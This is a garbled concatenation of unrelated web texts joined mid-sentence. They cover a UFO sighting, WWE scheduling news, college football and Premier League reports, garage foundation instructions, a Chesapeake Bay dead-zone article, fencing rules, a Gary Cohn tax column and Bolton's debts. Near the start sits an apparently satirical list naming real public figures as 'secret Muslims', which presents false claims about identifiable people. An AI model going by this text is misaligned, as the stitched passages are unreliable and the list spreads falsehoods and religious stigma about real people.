We were both moved to a very intense state of awareness, something very primal feeling. We were scared. We had just seen something that we had NO WORDS FOR. NO OBJECTS THAT CAME CLOSE TO BEING A COMPARISON IN OUR HEADS WERE AVAILABLE. You feel vulnerable, curious, intensely awake/aware. It's a strange feeling to see something that your brain says, "That isn't supposed to exist" in response to.
Immediately after seeing it and initially OOHH'ing and AHH'ing we went inside, tore two pieces of paper out of her notebook and drew what we saw on opposite sides of the room to compare what we think we saw.
We lost sight of the object as it went past the wall of our porch/apartment.Hillary Clinton: Secret Muslim.
It’s pretty well known at this point that a majority of people who publicly claim not to be Muslim are actually Muslim. Here are ten prominent examples.
1. Barack Obama
The world’s most famous secret Muslim. There’s so much proof this one barely even counts as a secret anymore.
2. Michelle Obama
There’s no proof for this one, but we can just assume.
3. John Brennan
The man who has played a central role in killing thousands of Muslims with sky robots actually converted to Islam in Saudi Arabia in the nineties, according to a former FBI agent.
4. Anthony Weiner
Though outwardly he appears the epitome of a New York Jew, Weiner converted to Islam when he married his (openly) Muslim wife, Huma Abedin, according to respected person Robert Spencer. Other respected people, such as public relations consultant Eliana Benador, agree that this is what happened, because after Weiner’s crotch shots, a New York imam was like (paraphrasing), “Eh, it’s cool, he’s a fellow Muslim.”
5. Grover Norquist
Norquist may be the world’s foremost anti-tax crusader, but one crusade he doesn’t like is … the Crusades, any of them. Norquist claims to be a “boring white bread Methodist,” but, like Weiner, he converted to Islam in order to marry Palestinian Samah Alrayyes and is also probably a Muslim Brotherhood operative.
6. Hillary Clinton
Clinton revealed her Muslimness in this photo taken at the grave of Pakistani poet Muhammad Iqbal in 2009.
7. Valerie Jarrett
Obama’s right-hand woman was born to American parents in pre-revolution Iran. Ergo, Muslim.
8. Bobby Jindal
Jindal claims he’s a Hindu turned Catholic, but an anonymous blogger at jindalisamuslim.wordpress.com has been promising since March of 2011 to post “proof-positive” information about the Louisiana governor’s true religion and we’re sure he’s going to get around to it any day now. In the meantime, the Internet’s commenters agree: Muslim.
9. Some Random Family Court Judge in Florida
His name is Elijah Williams. Case closed.
10. Prince Charles
The Prince of Wales and future Caliph of the British Caliphate has said nice things about Islam and toured a mosque once and appreciates ancient Islamic calligraphy, so he’s a Muslim too.UPDATE 2: The Wrestling Observer reports that John Cena is taking time off for what the WWE is calling personal reasons. The details are not yet known, though WWE officials have confirmed he will not be on the European tour and as previously noted, hasn’t been advertised for anything after Hell in a Cell until December.
UPDATE: WWE has now removed John Cena from the European tour in November along with all events all the way through until the house show in Toronto on December 30th.
ORIGINAL: According to Pwinsider.com, it appears that John Cena will be taking some time off following the Hell in a Cell PPV. Cena is not being advertised for the October 26th Raw (day after Hell in a Cell) or the November 2nd Raw. He is also off of live events the weekend of October 31st. Cena is scheduled to work the European tour, which begins on November 4th, but is not scheduled for November 16th or 23rd Raw tapings.President Donald Trump held a rally in Nashville today in celebration of his presidency and Andrew Jackson's 250th birthday. The rally had a big attendance, with many people lining up for hours ahead of time so they could get a seat. As with his previous rally, the details for this one were posted on his presidential campaign website. The rally began at 6:30 p.m. CST, but doors opened several hours earlier at the Nashville Municipal Auditorium. Trump walked into the rally to "I'm Proud to Be an American," sang live. An official count of how many attended wasn't yet available at the time of publication. Click through the gallery to see photos of the rally, the crowd, people lined up to get seats, and learn more about what's happened so far. We'll be adding more photos from Trump's rally as they're available. (Getty)So the F/+ picks did well this week, going 24-16 (60.0%). Not that you would know this, as my baby's arrival on Wednesday precluded me from posting the picks (and about half of the conference summary pieces). I'll post the picks at the bottom of this post, just for posterity, but first, let's take a walk around FBS and see who lived up to their projections and who didn't.
Exceeded Expectations
Mississippi State (Proj. Scoring Margin: +30.5 | Actual Scoring Margin: +45 | Diff: +14.5)
Projected blowouts are a bit out of your control -- whether you beat a team by 30 or 50 depends on when you put your backups in, when your opponent puts its backups in, how much your opponent completely folds, etc. Mississippi State was picked to coast, and they did. Their defense was average -- 338 yards against a poor offense isn't bad, but it's not amazing (and you'd like to see more than two sacks in 40 Memphis pass attempts) -- but the offense was unbelievable. MSU averaged 9.3 yards per play, rushing and passing for 300+. Chris Relf averaged 9.6 yards per pass, combined for 253 total yards and went to the bench, and then his backup threw an 80-yard touchdown pass. Memphis is really bad, but 645 yards of offense is 645 yards of offense.
LSU (Proj. Scoring Margin: +4.2 | Actual Scoring Margin: +13 | Diff: +8.8)
Turnovers define games. Not only do they quite obviously benefit one team and harm the other, but depending on when and how the turnovers came about, they can define what happens the rest of the way. Oregon lost three fumbles that were worth 17.04 points in a game they lost by 13, which, in and of itself, defines last night's LSU game rather well. But beyond the pure points, the way they came about were so incredibly important. This game was going to be determined by who was able to avoid passing downs the best -- both defenses are spectacular on passing downs. Well, the three turnovers gave LSU a 30-13 lead in the third quarter, which created, basically, permanent passing downs for Oregon. Add that to the fact that LSU lived up to their "no big plays" reputation on defense, and there was little way LSU was going to lose this game. Turnovers, defense and timely offense: it's the Les Miles way.
Just About Right
Ole Miss (Proj. Scoring Margin: +1.5 | Actual Scoring Margin: -1 | Diff: -2.5)
Poor Ole Miss. With ten minutes left, the Rebels led BYU, 13-0; they were projected to win this game by a slight margin, but they were still overachieving significantly. And then the last 10 minutes happened. Ross Apo caught a touchdown pass from Jake Heaps, then Ole Miss QB Zack Stoudt, who had himself a solid day otherwise, suffered an incredible brain fart. On third-and-27, nursing a 13-7 lead, he not only allowed himself to get sacked (honestly, he shouldn't have even been dropping back to pass; I disagreed significantly with just about every coaching decision made by the Ole Miss sideline in the fourth quarter), but he got stripped. BYU's Kyle Van Noy recovered in the end zone, and Ole Miss eventually lost, 14-13. For the game, holding BYU to 316 yards (4.6 per play) isn't too bad -- I really like BYU's potential -- and I really liked Ole Miss' run defense. They only had three tackles for loss, but they stuffed BYU for little gain all day. Alas, they lost anyway.
South Carolina (Proj. Scoring Margin: +21.6 | Actual Scoring Margin: +19 | Diff: -2.6)
I'm pretty sure the projections didn't say "the Gamecocks will fall down, 24-14, at halftime, then pull away," but hey, whatever works. East Carolina's Airraid is prolific, and it took South Carolina a little while to get going. But in the end, Marcus Lattimore rushed for 112 yards (albeit on just 4.9 yards per carry), Alshon Jeffery had 92 receiving yards (albeit with just a 46% catch rate), and Jadeveon Clowney assisted on seven tackles, one for loss, and broke up a pass. The stars (and expected stars) got their stats, but they had to work pretty hard for them. (And they still scored 56 points, thanks in part to two return touchdowns (fumble, punt).
Also:
* Stephen Garcia: 7.3 yards per pass, 47% completion rate, 1 TD, 0 INT, 0 sacks; 56 pre-sack rushing yards
* Connor Shaw: 2.3 yards per pass, 33% completion rate, 0 TD, 0 INT, 1 sack; 32 pre-sack rushing yards
Underachieved
Florida (Proj. Scoring Margin: +43.1 | Actual Scoring Margin: +38 | Diff: -5.1)
Florida scored a TD. A real, street legal TD. I'm a little weepy right now. edsbs
edsbs
One certainly gets the impression that Florida could have won by 43 if they really wanted to, so we won't go too far down the "underachiever" road. One can't complain too much about a yardage margin of +331 (468 to 137) and great special teams. Jeff Demps and Chris Rainey combined for 184 rushing yards (8.0 per carry) and 88 receiving yards (9.8 per catch) and the defense registered 11 tackles for loss. No complaints.
Georgia (Proj. Scoring Margin: -7.0 | Actual Scoring Margin: -14 | Diff: -7.0)
As the Georgia-Boise and LSU-Oregon games were beginning last night, Twitter became rather entertaining, and not just in the "It's the best sports bar ever" sense. When Georgia and LSU made bad plays it was them beating themselves; when Oregon and Boise State made bad plays, it was proof that they were overrated and overwhelmed against the vaunted SEC. When Georgia's Brandon Boykin busted an 80-yard touchdown run, it was obvious that Boise State just wasn't athletic enough to compete. And then BSU scored 28 unanswered points to build an insurmountable lead. God, they were good. My numbers adored BSU last year, and it probably goes without saying that they do in 2011 too (after the smallest of sample sizes). But about Georgia:
* Get Brandon Boykin more touches (80-yard run, 40-yard kickoff return).
* Georgia's offensive line was no match for what is obviously still an incredible Boise State defensive line.
* Isaiah Crowell is going to be good. He only lost three yards in his 15 carries and probably did well to average four yards per carry considering the line disadvantage.
* Jarvis Jones is good (9.0 tackles, 2.5 TFL)
I think this game was more decided by Boise State's quality than Georgia's lack thereof, but it's pretty clear that if Mark Richt wants to keep the vultures from circling, he may want to figure out a way to beat South Carolina this week.
Kentucky (Proj. Scoring Margin: +21.2 | Actual Scoring Margin: +11 | Diff: -10.2)
Kentucky's was a "Yeah, but..." 11-point win. They gained an insanely terrible 190 yards of offense. Their quarterback (Morgan Newton) was picked off three times, completed 39% of his passes and averaged 5.4 yards per pass. Their offensive MVP was unquestionably their punter, Ryan Tydlacka (seven punts, 47.1 average, three inside 20), who flipped the field with no help from the O -- only Winston Guy (7.0 tackles, 2.5 TFL, 2 INT) was better than Tydlacka. Also, this happened:
Ten points of underachievement doesn't sound quite right in this one.
Alabama (Proj. Scoring Margin: +51.7 | Actual Scoring Margin: +41 | Diff: -10.7)
Kent State has a solid defense, and 'Bama gained 482 yards and scored 48 points. I'm not going to worry too much about the Tide. Still, Tide quarterbacks A.J. McCarron and Phillip Sims combined for four interceptions (McCarron's INT rate was 9%, Sims' 14%), and that's alarming. So, too, is the fact that Trent Richardson gained just 2.8 yards per carry. When you're holding your opponent to 90 total yards, you are allowed some mistakes, but... not all is sunshine and moonbeams here.
(This really could be a special defense, by the way. Dre Kirkpatrick broke up three passes, six players registered sacks, and the linebackers were ridiculous.)
Auburn (Proj. Scoring Margin: +48.9 | Actual Scoring Margin: +4 | Diff: -44.9)
If you'd asked me at the beginning of the season who was going to struggle the most to live up to Football Outsiders projections, the answer would have been a complete no-brainer: Auburn. They just lost so damn much from last year's squad. There is no precedent for a team coming out of (relative) nowhere to become No. 1 (both in terms of national titles and F/+ rankings), then lose almost every difference-maker and start over. Our projections probably would have been better if we had just completely ignored 2010. But we don't do that. Alas, you get outlier projections like Auburn.
That was a long way of saying I knew Auburn was probably going to struggle this year, especially early on... but I did not see them trailing Utah State by 10 with under three minutes remaining. They needed onsides kick luck to pull off the dramatic win in a game in which they were outgained by 84 yards. They gained 243 yards in their first nine drives before rallying to gain 121 in their final two drives. Michael Dyer and Onterio McCalebb combined to average a mediocre 4.4 yards per carry, and the defense had little to no answer for an efficient Utah State offense. USU quarterback Chuckie Keeton completed 70% of his passes (he averaged 7.1 yards per pass), and the Aggies' speed back gained 69 yards on 10 carries. Auburn did come up with nine tackles for loss, but they were extremely all-or-nothing, and it goes without saying that they've got a lot to work on.
Played An FCS Opponent
I don't make a habit out of projecting games versus FCS teams... which means there are a lot of September games I don't project. We can still pass some light judgments.
Arkansas
Few complaints about the Hogs' 51-7 win over Missouri State. Arkansas had a +303 yardage margin (466 to 163), completed 80% of their passes for 10.4 yards per attempt and allowed 3.1 yards per pass (including sacks as passing stats). If you're looking for negatives, then I've got one: even removing sacks, Arkansas averaged just 3.9 yards per carry. They needed to prove that they could play at an elite level without Knile Davis, and while the passing game did its part, at some point they will have to be able to run the ball.
Tennessee
@BillConnelly1 @Vol_Football: Tennessee fumbles for the 7th time tonight, but has recovered all 7. Montana has fumbled twice and lost both. Jason Bates
bates_jason
Hey, uh, Vols? Save that fumbles luck for a game that matters, eh? (The box score says they fumbled just six times, but... that's still 8-for-8 on fumble recoveries.)
Tennessee is young enough and crazy enough that they might have a lot of games like this one. The passing game clicked incredibly well -- sophomore Tyler Bray completed 71% of his passes at 12.2 per attempt, and sophomore receivers Justin Hunter and Da'Rick Rogers combined for a ridiculous 246 yards on 11 catches. At the same time, Bray was sacked three times (sack rate: 11%), and... again, they fumbled six times. And they allowed 346 yards (5.1 per play). Montana running back Peter Nguyen rushed for 67 yards on nine carries, and Montana completed an 80-yard pass against Tennessee's starters. Lots to like, lots to dislike. Pretty sure that is going to be Tennessee's 2011 season in a nutshell.
Vanderbilt
Vanderbilt cruised to a 45-14 win over Elon in James Franklin's coaching debut, but there is plenty to work on. For starters, Elon outgained the 'Dores, 323-309; after three quarters, it was even worse: Elon 300, Vandy 189. The score was only 21-14 Vandy midway through the third quarter, and only a pick six by Trey Wilson allowed Vandy to hold the lead at all. Starting quarterback Larry Smith completed just 48% of his passes for 4.6 yards per attempt, and back Zac Stacy gained just 35 yards on eight carries. A 31-point win is a 31-point win, but it did nothing to convince me Vandy won't be 12th of 12 SEC teams this year. (Well, 11th is in play if Kentucky doesn't improve at hyper-speed.)
Belated Week One Projections
Picks in bold below were winners.Jose Mourinho was so angry at Manchester United's defeat by Huddersfield that he subjected his players to the full force of his fury for the first time.
United were humbled by David Wagner's newly-promoted side last Saturday in a shock defeat at the John Smith's Stadium that left them trailing Premier League leaders Manchester City by five points.
Mourinho was so incensed by the performance that he he flung his coat to the dressing-room floor in fury.
Jose Mourinho ripped into his Manchester United players after the defeat at Huddersfield
Mourinho gave them the hairdryer and flung his coat to the dressing-room floor
It was the first time Mourinho had subjected them to his full fury since taking over in 2016
It was the first time Huddersfield had beaten United for 65 years and the 2-1 scoreline ensured an end to the Red Devils' unbeaten start to the season. Afterwards, United's players were given the hairdryer treatment by Mourinho for the first time since he took over in May 2016.
Sportsmail understands Mourinho launched into a number of his defenders following the defeat, although Victor Lindelof, perhaps surprisingly, escaped the manager’s fury.
The Swedish centre half, who has endured a torrid start to his United career following a £30.7m summer move from Benfica, was arguably culpable for both Terriers goals, failing to intervene following a loose ball from Juan Mata in the build up to the first before totally misjudging a long punt downfield from hosts' goalkeeper Jonas Lossl to leave Laurent Depoitre in on goal.
Lindelof, who replaced the injured Phil Jones on 23 minutes, made both blunders within 10 minutes of his arrival and was the subject of criticism from pundit and ex-United man Owen Hargreaves.
Mourinho slammed his players' attitudes during the shock defeat at the newly-promoted club
Perhaps surprisingly, Victor Lindelof was not the primary target of Mourinho's full fury
However, Mourinho concentrated his fury on other, more senior members of his squad, sparing the 23–year-old from any blame.
Mourinho vented his anger in public as well as private, while midfielder Ander Herrera admitted that Huddersfield were'more passionate than us, more aggressive.' That candid admission only served to heighten Mourinho's fury.
'I don't even remember a friendly match where our attitude was so poor,' said Mourinho. 'When I lose matches, I like to lose because the opponent was better and had more quality. But when you lose because of attitude, that is really bad.
'I heard Ander Herrera in his flash [television] interview saying the attitude and desire was poor. Oh my God, when a player says that, or a player feels that, I think they should all go to the press conference and explain why – because I cannot explain that. It concerns me because if it happened today why can't it happen tomorrow?'
Season at a glance Live tables
Fixtures
Scores Premier League
Premier League
Championship
League One
League Two
Scottish Premiership
Scottish Div 1
Scottish Div 2
Scottish Div 3
Ligue 1
Serie A
La Liga
Bundesliga
'I feel really disappointed and if I was a Manchester United supporter – not a manager but a traditional supporter – I would be really disappointed. You can play and lose a football match because the opponent had more quality than you. But you cannot lose because the opponent had a better attitude than you, so I am really disappointed.'
United's players have their first chance to make amends at Swansea in the Carabao Cup fourth round on Tuesday night, before hosting title rivals Tottenham in the Premier League on Saturday lunchtime.Knoji reviews products and up-and-coming brands we think you'll love. In certain cases, we may receive a commission from brands mentioned in our guides. Learn more.
So you need a new garage or utility outbuilding? In your city or jurisdiction, you may be required to obtain a building permit and submit your building plan for approval, but after that, the first step must be to build a solid foundation for the new building.
It's time to think about footings. What do footings do? Well-built footings carry the weight of the structure and provide stability for the building walls. Properly built footings will ensure the structural integrity of your new building.
Many garages are built as slab-to-grade on standardized footings, perhaps 24" wide, 6 or 8" thick, and are usually reinforced with two rows of steel reinforcing bar ( steel “rebar” ) for strength. The building can then be built directly upon the footing, and a concrete floor is poured inside the building after it is constructed to the completed roofing stage. If no concrete floor is desired, the floor area may also be filled to the required grade with gravel and packed.
If your project involves a finished slab-to- grade, ( a slab built on grade or close to ground level) and want a superior result, however, the most efficient, strongest, and most convenient way to do the job is to build a one-piece "Club-Foot" foundation or pad.
The construction of a club-foot foundation involves forming the footing and the floor simultaneously as one unit, which is then subsequently cast in concrete.
Ordinarily, concrete forms for footings are built separately using two 2x10" planks, or form boards carefully set to width, grade and level. A clubfoot foundation is different. It is formed with one row of wooden planking or concrete forms set accurately, but around the outside perimeter only.
Here is how to build a clubfoot foundation.
1. Establish the location of the building, and set up " batter boards" at the side to establish the exact grade (height) of the finished concrete floor. Normally a garage slab on grade might be established 6" to 12" or even higher above the original grade, depending upon ground conditions. A planned increase in elevation may be required to ensure correct drainage around the pad.
2. Install pickets to delineate the approximate location of the corners.
3. Excavate all topsoil and soft organic soils from the enclosed area down to undisturbed mineral soils. Stockpile the topsoil so you can use it for subsequent landscaping as required.
4. Import granular "A" or a similar grade of granular gravel that will pack properly.
In your jurisdiction, your building code may specify the installation of crushed rock or other materials to a specific thickness. Use what is required, but in no instance use less than 8" of granular or gravel when packed with a plate packer unless you are building upon solid bedrock. Using an adequately packed gravel pad will reduce the likelihood of the concrete floor cracking at some time in the future.
5. Remember you are preparing for a combination footing and floor, so it is necessary to
" sculpt" the granular material to reflect the thickness of the footings, for instance, a 24" wide footing will be the same depth all the way around, and 24" wide, then starting from the INSIDE edges of the footing cavity, bevel the granular shallower toward the centre, packing the gravel to the correct elevation, which will be at the underside of the concrete floor, for example, 4" below the desired, finished concrete surface.
If your proposed footings are 8" thick, and your concrete floor is 4" thick, the final result along the outside edge of your concrete "club foot" should be 12" deep, with 8" or more of packed granular or gravel underneath it |
Semi Professional Football. Has played for West Coast Lions, Los Angeles Wolfpack, California Ducks in the PacWest Semi Pro League in Southern California. Only known female to play full contact linemen positions in predominantly Men's league. In her first season with West Coast Lions Danielle played primarily on kickoff and kick return, however, she saw some time at Defensive Tackle and made both solo and assisted tackles.Wanted to do a simple portrait piece instead of going for an all out action illustration for a couple of reasons. The main one being that I feel like I do a good sketch but then my lines and colours don't seem to match with each other and looks not to what I feel like I should be doing, maybe it is just me being picky or too uptight about my work but I feel how I feel.
I plan on doing some colour and lighting studies that will be able to perhaps help me finish my Kantai Collection fanarts of Bismarck and Hibiki which I kind of just dropped for the said reasons.
This piece however is what I would consider my best at the moment and it has actually boosted my confidence a lot when I saw the finished piece compared to other things I have done.A giant underwater “dead zone” in the Chesapeake Bay is growing at an alarming rate because of unusually high nutrient pollution levels this year, according to Virginia and Maryland officials. They said the expanding area of oxygen-starved water is on track to become the bay’s largest ever.
This year’s Chesapeake Bay dead zone covers a third of the bay, stretching from the Baltimore Harbor to the bay’s mid-channel region in the Potomac River, about 83 miles, when it was last measured in late June. It has since expanded beyond the Potomac into Virginia, officials said.
Especially heavy flows of tainted water from the Susquehanna River brought as much nutrient pollution into the bay by May as normally comes in an entire average year, a Maryland Department of Natural Resources researcher said. As a result, “in Maryland we saw the worst June” ever for nutrient pollution, said Bruce Michael, director of the DNR’s resource assessment service.
That’s bad news for biologists who monitor the bay and horrible news for oysters and fish. Dead zones suck out oxygen from deep waters and kill any marine life that can’t get out of the way.
Nutrient pollution from chemicals such as fertilizers provide a feast for bay algae, which bloom and die in a rapid cycle. They decompose into a black glop that sucks oxygen out of deeper waters. Oysters and other shellfish are doomed in dead zones. Fish and crabs can skitter to surface waters where there’s more oxygen, but some don’t make it, Michael said.
No one knows how many marine creatures perish in dead zones, “because we just don’t know what goes on down there,” Michael said.
“We know it’s not good habitat for fish,” he said. Chesapeake Bay shad, rockfish, oysters and crabs are already threatened species.
“If there’s not good habitat, they’re stressed and they
won’t reproduce,’’ Michael said. “They’re more susceptible to disease and won’t eat. We want them to eat a lot of food and reproduce and grow.”
Donald Boesch, president of the Center for Environmental Science at the University of Maryland and an expert on dead zones, said this year’s water flow will rank at least among the five largest, a result of heavier-than-normal rains and snow melt mixed with high amounts of nitrogen, phosphorus and sediment.
Dead zones are a yearly occurrence caused by pollution in water that runs off cities and farms. They form in summer and usually dissipate in fall, sucking oxygen from deep waters and leaving dead oysters, clams, fish and crabs in their wake.
A similar phenomenon is taking shape in the Mississippi River Valley, where tons of chemical fertilizer run off huge industrial farms, the Nature Conservancy announced recently. Findings by researchers at Texas A&M University support predictions that remarkably heavy rains and snow melt in the valley will create the largest-ever dead zone in the Gulf of Mexico.
Dead zones run the length of the Atlantic Coast. Environmentalists say they are a testament to reports that pollution loads from ever-expanding cities and suburbs are growing and, in some cases, creating a monster.
The Chesapeake Bay is the nation’s largest estuary, a freshwater nursery for many species of fish that grow and venture out to the Atlantic Ocean where larger marine animals rely on them for prey.
In December, the Environmental Protection Agency finalized a “pollution diet” to dramatically reduce the levels of nitrogen, phosphorus and sediment that states can allow in the bay from municipalities and farms.
The plan is more aggressive than its predecessors in past years that were criticized as ineffective. Under the plan, Chesapeake Bay watershed states — Virginia, Maryland, New York, West Virginia and Pennsylvania — and the District were required to draft and submit strategies to the EPA for reducing nutrient pollution.
The final plans will cost billions to improve municipal water treatment plants that contributed to nitrogen runoff, and to improve conservation efforts by farmers, particularly large animal-feed organizations where phosphorus runs into the bay when rain washes away manure.
But the plan is being challenged by two powerful lobbies and other groups that are seeking a court order to block it. The American Farm Bureau Federation argued that costly conservation requirements could drive farmers in the Chesapeake Bay watershed out of business, and that states — not the EPA — should determine pollution limits.
The group’s lawsuit in a federal district court in Harrisburg, Pa., asks a judge to stop the plan from going forward. The National Association of Home Builders recently joined the suit.
The aim of the farm lobby’s lawsuit is not the Chesapeake Bay region. Bob Stallman, its president, said the EPA’s cleanup plan could be a harbinger for far-reaching requirements in the Mississippi River basin, where industrial farms are responsible for chemical runoff that lead to huge dead zones in the Gulf of Mexico.
Housing developments with paved driveways, streets and roofs without greenery are another source of nitrogen runoff because they send more rain across lawns than can be absorbed, washing lawn fertilizer into the watershed. Environmentalists say builders have resisted calls to create greener communities with permeable stone and grassy areas that soak up rain.
A spokesman for the National Association of Home Builders could not be reached for comment.
“If we had met our nutrient [pollution] reduction goals in the past, we would have a much smaller dead zone,” said Donald Boesch, president of the Center for Environmental Science at the University of Maryland. “Because the pollution is so high, every year is a bad year. You really have to get the bay in better health so it can clean itself.”
The Chesapeake Bay Foundation, part of a coalition that sued the EPA in 2009 after decades of weaker anti-pollution measures failed to clean the bay, lambasted the farm bureau’s suit to stop the EPA’s plan.
“Farmers, the chicken council, fertilizer institute, hog people, turkey people... these are big Washington lobbying associations,” said Will Baker, the foundation’s president. “They’re not mom-and-pop farmers. If you look at the amount of money they’ve given to candidates and lobbying, it’s in the hundreds of millions.”
Baker said the size of this summer’s dead zone “is clear evidence that the bay is still in trouble” and that the EPA’s get-tougher approach to lowering pollution is the best way forward.
“What the litigants are asking is for those of us who enjoy clean water to sacrifice for their profit motive,” Baker said.
A farm bureau official said its lawsuit is not about the quality of the water. “Farmers in the Chesapeake Bay watershed take a back seat to no one in their commitment to helping clean up the bay,” said Paul Schlegel, director of environment and energy policy for the bureau.
“The lawsuit is... about what EPA can and cannot do based on the law Congress has written,” Schlegel said.Let me add my additional comment, since Mr.D’Angelo himself has answered theis question once and for all.
The main point I want to make is best said in a quote by Eric Raymond (www.catb.org). Mr.Raymond said:
“There are only two types of programming languages. The ones people complain about and the ones they’ve never heard about”.
Boom.
In all programming and tech talk, I find this quote to be one of the most significant and argument ending. The C# vs Java comparisons will never end. The Python vs Ruby talk won’t simmer down. Neither will the Java complaints ever end - but in the mean time, Java will go ahead and keep getting people hired all around the world, and running a lot of the finance sector - yet, they’ll keep complaining about it.
They might hate C++, yet, most of the most significant and hard-hitting software has some C++ in it - Photoshop, Chrome, Windows, Maya, 3DS Max, Microsoft Word…
A lot of people have given their comments (After Adam and Charlie’s comments), and sound something like…Python this, python that…but they seem not to consider….
If not python, then what’s the ideal language, stack, and platform? Is there any ideal stack? Of course we know there isn’t. Just go ahead and start making something. All programming languages, platforms, and stacks exist for a purpose, and have their ideal-use situation where they’d shine like polished gold on a diamond plate in a glass box. Adam D’Angelo seems to be a really smart guy in the first place, so chances are, after much consideration, he might have chosen the BEST stack for Quora. He DID work at Facebook for a minute, so he knows a thing or two about scalable tech stacks.
Ultimately, I have observed that the IDEA is way waaaay more important than the language chosen or the tech stack chosen. I have always hoped people would fully accept this fact. If your app/website idea takes off and blows up and promotes you to a house on a hill on hollywood, you’ll be able to hire people to translate your code and setup into the ideal stack/language. Or else, you’ll be able to hire the best in the world to come over and optimize your code to be efficient and fast.
Technology is a means to an end. It’s not an end in itself. Creators often get caught up on the medium they yse, not knowing that the really most important thing is the idea. Even though Ernest Hemingway might have used a typewriter, now that we have great word processors, do we churn out great authors like Hemingway every year?
Facebook is written in what everybody calls ‘less than ideal PHP’, yet, has it stopped Facebook from being in the top 3 most popular and visited sites in the world? Because the ideas behind Facebook are more important than the tech stack.The temporary rules change commonly known as the “Russian Box of Death” is now dead, according to several reputable sources. For the last 8 months, sabreurs have been coming on guard 3 meters apart instead of the regular 4 as a part of a trial period for an experimental rule change. This weekend, the FIE have decided to end the testing period and have declined to adopt the rule.
This story will be updated as various national governing bodies release official statements.
Edit: The USFA’s official ruling has been released. The pertinent section:
ALL USA Fencing sanctioned tournaments will be conducted using the four-meter on guard lines effective immediately. This includes senior, junior, cadet, youth, veteran and Division I, IA, II and III competitions.
And subsequently, the FIE have released their official letter, which can be found here.
The History of the Russian Box of Death
The temporary 3 meter rule change was known as the Russian Box of Death, or RBOD for short. “Russian” for the country who proposed and evangelized the change. “Box” referring to the area of a fencing piste between the en garde lines. And “Death” over the initial safety concerns over the changes.
After an eight month trial that started after the Rio Olympics, the FIE have decided to end the testing period and revert the change. It is currently reported that on the international level, Seniors will revert to 4 meters immediately, starting at the Warsaw World Cup. Juniors/Cadets will revert after World Championships in April. Official confirmation from any governing body is still pending.
The RBOD was initially an ambiguous change that was met with strong, divided opinions. The first version only required that the back foot of both fencers be 2 meters from the center line. Over time and with further testing, the FIE refined the rule into a new en garde line for saber only, marked at 1.5 meters from the center line. The final iteration, which removed all ambiguity in the rule, caused an eventual softening of opinions. Fencers have become generally neutral to slightly positive on the rule change after a few months of testing it out.
The saber timing change introduced at the same time as the RBOD is still in effect.The New York Daily News had itself a very sad but inspiring story on Wednesday. It was about a Jeopardy contestant who died days before her episode was set to air.
And while the story itself is very nice, the Daily News managed to make itself the story by coming up with a very inappropriate tweet to promote the story.
Yikes. The Daily News is definitely no stranger to outrageous headlines, but this is just straight-up offensive. After receiving plenty of backlash, they did take down the tweet and tweet out another link that was much more appropriate.
This is definitely an example of someone trying to get attention when they really should’ve just been focusing on getting the story out there. You have to know when to be witty and when to just share the information.
For those interested in the story itself, the woman died on Dec. 5 after battling cancer. She had always wanted to be on Jeopardy and got a chance to tape an episode back in August. Her episode is set to premiere Dec. 13.Donald Trump’s chief economic adviser, Gary Cohn, pocketed somewhere between $47 million and $235 million by selling his Goldman Sachs stock earlier this year.
The sum was massively fattened as a result of the Goldman Sachs GS, +0.13% stock boom that has followed Trump’s election victory.
And it also included somewhere between $4.5 million and $22.5 million that Cohn, the investment bank’s former president, saved by cashing out just before Goldman’s recent stumble.
You can file this under “Swamp, Draining of.”
Oh, yeah, and Cohn also saved millions more, thanks to a massive tax break, courtesy of his new job at the Trump administration.
That’s Donald Trump for you. Making America Great Again, one Wall Street millionaire at a time.
Government documents
Documents provided to MarketWatch by the federal government’s Office of Government Ethics show that Cohn sold his stock between January and March of this year, in a series of transactions, at an estimated average price of $240.
That represented a huge gain in the stock price since Trump’s election victory. Early last November, when the stock market expected Hillary Clinton to win, Goldman traded for just $180.
Read: Should Wall Street fear a government shutdown? Here’s how stocks fared during past closures
By amazing good fortune, Cohn also managed to cash out just before Goldman’s recent stumble, which has taken the shares down to $218.
Nice work.
We don’t know the exact figures, incidentally, because the government documents provide only ranges for the value of each transaction.
Lucky man
Cohn is presumably the beneficiary of good fortune, and not of anything nefarious. He sold because he was required to when he joined the administration. The transactions would presumably have been handled by his brokers.
But, as they like to say, it’s better to be lucky than to be good.
And if you think this is the end to Cohn’s luck, think again.
Joining the Trump administration is turning into some of the smartest financial planning in history.
When Cohn took the job, the Goldman Sachs board gave him a big, fat, sloppy golden goodbye on the way out the door, and accelerated his future stock and option awards.
And when he sold the stock, he got a wonderful, glorious tax break on his capital gains.
An ordinary schmuck cashing out his company stock would have to hand over 20% of the long-term gains, and up to 43.6% on any short-term.
Cohn? Er... zero percent.
No kidding.
Tax break for the rich
A special break, available to rich people picked to join the government, lets them cash out and defer their capital gains taxes... well, possibly forever. All they have to do is sell their stock — to avoid conflicts of interest — and then invest the proceeds in diversified funds.
In other words, it lets them convert a risky, concentrated portfolio into a more stable, diversified one without having to pay any of those icky taxes first.
Those, as we all know, are for the little people.
Yes, Cohn has to pay income taxes on those parts of his rewards deemed income. And he, or his heirs, will eventually have to pay taxes on capital gains when, or if, these diversified funds are sold.
Taxes will also be owed when their kids and grandkids inherit the fortune — unless the Republican Party succeeds in abolishing inheritance tax, as it says it wants to.
Deja vu
Wall Street tycoons, incidentally, have begun a sly misinformation campaign to persuade you that this tax deferral is really no break at all, because taxes have to be paid eventually. Sure. Try telling the IRS you don’t want to pay your taxes until some distant day in the future, possibly after you’re dead, and see what they say.
Gary Cohn’s windfall recalls a previous Goldman honcho. Hank Paulson was able to cash out his entire stake in the bank just before the financial crisis when he joined the Bush administration as Treasury secretary. Once in office, by an amazing coincidence, his actions just happened to help the bank.
Some people say history doesn’t repeat itself, “it rhymes.” Phooey. When it comes to money and politics, I say it repeats itself. Tell me I’m wrong.The most damning statistic that contributed to the scarcely believable £163.8m debt Bolton Wanderers revealed on Tuesday is the £50.7m loss they posted in the year to June 2013 alone.
This followed a fall in turnover from £58.5m to £28.5m as the effect of relegation from the Premier League the previous season was felt. As Phil Gartside, the chairman, said: "Looking forward we have to recognise we are no longer a Premier League club in the Championship but a Championship club with ambitions to play in the Premier League."
Perhaps a more encouraging note for supporters and anyone who wants clubs run on a robust footing would have been sounded if Gartside had made clear that the mistakes in overspending will be learned from and not repeated. Gartside and Eddie Davies, the owner who is owed nearly all of the £163.8m, must shoulder the responsibility for the position the club find itself in.
The wage bill now stands at £32.7m, its lowest level since 2007 when Bolton were still firmly a Premier League club, so the question must be asked why, over the following five years, this and other overheads continued to rise despite the greater monies received from operating in the world's richest league.
